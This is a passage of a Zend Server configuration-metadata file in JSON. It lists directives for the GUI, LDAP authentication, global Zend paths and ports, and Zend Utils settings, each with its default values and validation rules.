                "shortDescription": "",
                "type": 1,
                "section": "feedback",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "zs-feedback@zend.com"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.defaultEmail": {
                "shortDescription": "",
                "type": 1,
                "section": "monitor",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.defaultCustomAction": {
                "shortDescription": "",
                "type": 1,
                "section": "monitor",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.host": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.port": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.useSsl": {
                "shortDescription": "",
                "type": 2,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.useStartTls": {
                "shortDescription": "",
                "type": 2,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.username": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.password": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.baseDn": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.accountCanonicalForm": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.accountDomainName": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.accountDomainNameShort": {
                "shortDescription": "",
                "type": 1,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.bindRequiresDn": {
                "shortDescription": "",
                "type": 2,
                "section": "zend_server_authentication",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.defaultPort": {
                "shortDescription": "",
                "type": 4,
                "section": "installation",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10081"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.securedPort": {
                "shortDescription": "",
                "type": 4,
                "section": "installation",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10082"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.enginePort": {
                "shortDescription": "",
                "type": 4,
                "section": "installation",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10083"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.storeApiUrl": {
                "shortDescription": "",
                "type": 1,
                "section": "plugins",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "https:\/\/api-plugins.zend.com\/"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "locale": {
                "shortDescription": "Current locale for ui translation",
                "type": 1,
                "section": "translator",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "en_US"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "event_manager_enabled": {
                "shortDescription": "Enable event manager for the translator module",
                "type": 2,
                "section": "translator",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "false"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.codetracingProfile": {
                "shortDescription": "Codetracing settings predefined profiles",
                "type": 1,
                "section": "codetracing",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "Default"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.codetracingZrayInManualTrace": {
                "shortDescription": "Include Z-Ray when creating manual trace",
                "type": 2,
                "section": "codetracing",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.jqPulseSuccessPercent": {
                "shortDescription": "Success ratio color in success status<\/",
                "type": 4,
                "section": "pulse",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "95"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_gui.jqPulseMediumPercent": {
                "shortDescription": "Success ratio color in warning status<\/",
                "type": 4,
                "section": "pulse",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "90"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Global Directives": {
        "name": "Zend Global Directives",
        "extensionId": "Zend Global Directives",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Zend Components Directives",
        "longDescription": "Directives that start from zend.* are used by every extension from any Zend products line.",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "zend.internal_ports": {
                "shortDescription": "List of ports used internally by Zend Server",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10081,10082,10083"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.php_sapi": {
                "shortDescription": "SAPI mod, can be 'fpm' or 'mod'",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "mod"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.install_dir": {
                "shortDescription": "The installation directory",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.conf_dir": {
                "shortDescription": "The directory all configuration files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/etc"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.pid_dir": {
                "shortDescription": "The directory all *.pid files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/var\/run"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.temp_dir": {
                "shortDescription": "The directory all temporary files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/tmp"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.ui.temp_dir": {
                "shortDescription": "The directory all UI temporary files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/gui\/lighttpd\/tmp",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "ZEND_PREFIX\/tmp",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.log_dir": {
                "shortDescription": "The directory all log files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/var\/log",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "ZEND_PREFIX\/log",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.ui.log_dir": {
                "shortDescription": "The directory all the UI components log files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/gui\/lighttpd\/logs",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "ZEND_PREFIX\/log",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.data_dir": {
                "shortDescription": "The directory all log files are stored in",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "ZEND_PREFIX\/var",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "ZEND_PREFIX\/data",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.httpd_uid": {
                "shortDescription": "UID of httpd process",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "HTTPD_UID"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.httpd_gid": {
                "shortDescription": "GID of httpd process",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "HTTPD_GID"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.ini_scandir": {
                "shortDescription": "\n                    The directory where PHP configuration files are located\n                ",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "conf.d",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "cfg",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.ini_file": {
                "shortDescription": "\n                    The zend.ini configuration file name\n                ",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "zend.ini"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.serial_number": {
                "shortDescription": "\n                    The serial number\n                ",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.user_name": {
                "shortDescription": "\n                    The user name\n                ",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.node_id": {
                "shortDescription": "\n                    Zend Server Node ID\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.monitor_transport_parameter": {
                "shortDescription": "Network parameter for Event reporting to the Monitor Node",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "events.sock",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": "ZenithPE"
                            }
                        ]
                    },
                    {
                        "fixed": "events",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.webapi_key": {
                "shortDescription": "The name of WebApi key to use",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "zend-zsd"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.user_webserver_ip": {
                "shortDescription": "The IP address on which the user's webserver is listening",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "127.0.0.1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.user_webserver_port": {
                "shortDescription": "The port number on which the user's webserver is listening",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10083"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.webserver_type": {
                "shortDescription": "The webserver type",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "apache"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.webserver_pid_file": {
                "shortDescription": "The path to the file which contains the webserver root process PID file",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "WEBSERVER_PID_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.apache_service_name": {
                "shortDescription": "Zend Apache Service Name",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "Apache2.2-Zend"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.monitor_generate_unique_events": {
                "shortDescription": "When set, each event generated by the Monitor is generated as a unique event (i.e. it will be shown as a new event)",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.monitor_disable_event_buffering": {
                "shortDescription": "When set, all monitor events are immediately reported to the database (affects performance)",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.deployment_daemon_port": {
                "shortDescription": "The port on which Deployment Daemon accepts requests (the IP is always on loopback, i.e. 127.0.0.1)",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "10064"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.enable_privacy": {
                "shortDescription": "Don't collect private data in the various Zend Server components",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.enable_route": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 0
            },
            "zend.route_suggest_interval": {
                "shortDescription": "",
                "type": 9,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "30"
                    }
                ],
                "units": "days",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.statsd_connection_string": {
                "shortDescription": "Daemon connection string",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "tcp:\/\/127.0.0.1:10087",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "unix:\/\/ZEND_PREFIX\/tmp\/statsd.sock",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.in_docker": {
                "shortDescription": "When running inside Docker container, set this to 1",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend Utils": {
        "name": "Zend Utils",
        "extensionId": "utils",
        "isDaemon": 0,
        "shortDescription": "Exposes the Zend Extension Manager's API",
        "longDescription": "The Zend Utils extension takes you one step further and makes the Zend Extension Manager's API usable from a PHP runtime environment.",
        "iniFileName": "utils.ini",
        "subPath": "utils",
        "zemExtension": true,
        "directives": {
            "zend_utils.log_verbosity_level": {
                "shortDescription": "Sets the log verbosity level of Zend Utilis logs [0-5]<br>",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_utils.use_graceful_restart": {
                "shortDescription": "Restart API uses a graceful restart",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_utils.enable_crash_dumps": {
                "shortDescription": "Create mini dumps when a crash occurs",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_utils.enable_crash_breaks": {
                "shortDescription": "Break and wait for debugger when a crash occurs",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_utils.restart_cmd": {
                "shortDescription": "Command to restart the web server",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "\/usr\/local\/zend\/bin\/apachectl restart",
